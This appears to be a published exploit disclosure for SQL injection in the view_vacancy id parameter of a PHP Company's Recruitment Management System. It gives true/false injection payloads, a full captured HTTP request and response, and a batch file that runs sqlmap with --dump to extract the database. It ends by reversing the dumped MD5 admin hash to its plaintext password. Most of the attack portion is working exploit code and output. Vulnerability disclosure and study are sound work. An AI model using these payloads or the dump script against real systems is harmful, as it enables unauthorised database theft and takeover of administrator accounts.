The Company's Recruitment Management System (by: oretnom23) in
id=2 of the parameter from view_vacancy app on-page appears to be
vulnerable to SQL Injection - Stealing the Password Hashes attacks.
The payloads 19424269' or '1309'='1309 and 39476597' or
'2917'='2923 were each submitted in the id parameter. These two
requests resulted in different responses, indicating that the input
is being incorporated into a SQL query in an unsafe way.
Description of the exploit:
Exploit Title: Recruitment Management System is vulnerable to
MyQSL injection - Stealing the Password Hashes attacks.
Date: 2021-10-01
Exploit Author: nu11secur1ty
Vendor Homepage:
https://www.sourcecodester.com/user/257130/activity
Software Link:
https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html
Version: (by: oretnom23) dev
MySQL Request:
GET
/employment_application/?page=view_vacancy&id=219424269'%20or%20'1309'%3d'1309
HTTP/1.1
Host: 192.168.1.180
Cookie: PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j
Upgrade-Insecure-Requests: 1
Referer:
http://192.168.1.180/employment_application/?page=vacancy
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159
Safari/537.36
Connection: close
Cache-Control: max-age=0
MySQL Respond
HTTP/1.1 200 OK
Date: Fri, 01 Oct 2021 09:37:56 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22
X-Powered-By: PHP/7.4.22
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12044
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,
initial-scale=1
...[SNIP]...
<h5 class="card-title fw-bold wow">Sample Vacancy
101</h5>
...[SNIP]...
<div class="fs-5 ps-4">IT Depatment</div>
...[SNIP]...
<div class="fs-5 ps-4">Jr. Web Developer</div>
...[SNIP]...
<span class="badge bg-success
rounded-pill">3</span>
...[SNIP]...
<div class="fs-6 ps-4"><p style="margin-right: 0px;
margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align:
justify; font-family: "Open Sans", Arial, sans-serif; font-size:
14px;">Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Proin pretium vel tortor id semper. Donec ultrices sagittis
euismod. Pellentesque ultrices lectus in suscipit ultricies. Morbi
eget erat enim. Pellentesque habitant morbi tristique senectus et
netus et malesuada fames ac turpis egestas. Mauris nec ex non
lectus interdum interdum sit amet in lacus. Maecenas eu nulla nec
nisi bibendum euismod in a nibh. Nullam quis gravida turpis. Donec
hendrerit sagittis arcu quis mollis. Quisque pretium est in turpis
pulvinar, nec pellentesque sem sagittis. Quisque ultrices molestie
risus id varius. Vivamus sed efficitur erat, quis cursus massa. In
in varius purus. Vestibulum ante ipsum primis in faucibus orci
luctus et ultrices posuere cubilia curae; Quisque eget cursus nunc.
Aenean semper neque velit, quis ullamcorper justo efficitur
id.</p><p style="margin-right: 0px; margin-bottom: 15px;
margin-left: 0px; padding: 0px; text-align: justify; font-family:
"Open Sans", Arial, sans-serif; font-size:
14px;"><b>Qualification:</b></p><ul><li
style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;
padding: 0px; text-align: justify; font-family: "Open Sans", Arial,
sans-serif; font-size: 14px;">Qualification 1</li><li
style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;
padding: 0px; text-align: justify; font-family: "Open Sans", Arial,
sans-serif; font-size: 14px;">Qualification 2</li><li
style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px;
padding: 0px; text-align: justify; font-family: "Open Sans", Arial,
sans-serif; font-size: 14px;">Qualification
3<br></li></ul><p style="margin-right: 0px;
margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align:
justify; font-family: "Open Sans", Arial, sans-serif; font-size:
14px;">In ut ligula et erat ullamcorper imperdiet. Pellentesque
vitae justo facilisis, gravida sapien quis, mollis urna. Proin eu
aliquam justo. Cras malesuada, nunc ac varius dapibus, orci ante
pretium elit, non porta augue lectus sit amet orci. Ut ac porta
mauris. Donec venenatis nisi sit amet massa sollicitudin lobortis.
Quisque eros lectus, blandit et dapibus eu, gravida a risus.
Vivamus sodales rutrum purus ac dictum. Integer massa velit,
facilisis at leo vitae, semper congue mi. Vivamus bibendum sem eget
porta tristique. Nunc nisl odio, pellentesque nec pellentesque
quis, consequat ut neque. Sed elementum vel augue malesuada
ultrices. Nullam dapibus mattis leo vitae
laoreet.</p></div>
...[SNIP]...
PoC r0n1n.bat
@echo off
::Environment
cd C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap
:: Exploit
python C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap\\sqlmap.py -u
"http://192.168.1.6/employment_application/?page=view_vacancy&id=2"
--data="username=PWNED&password=password"
--cookie="PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j" --batch
--answers="crack=N,dict=N,continue=Y,quit=N" --dump
Decrypt of the password
The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123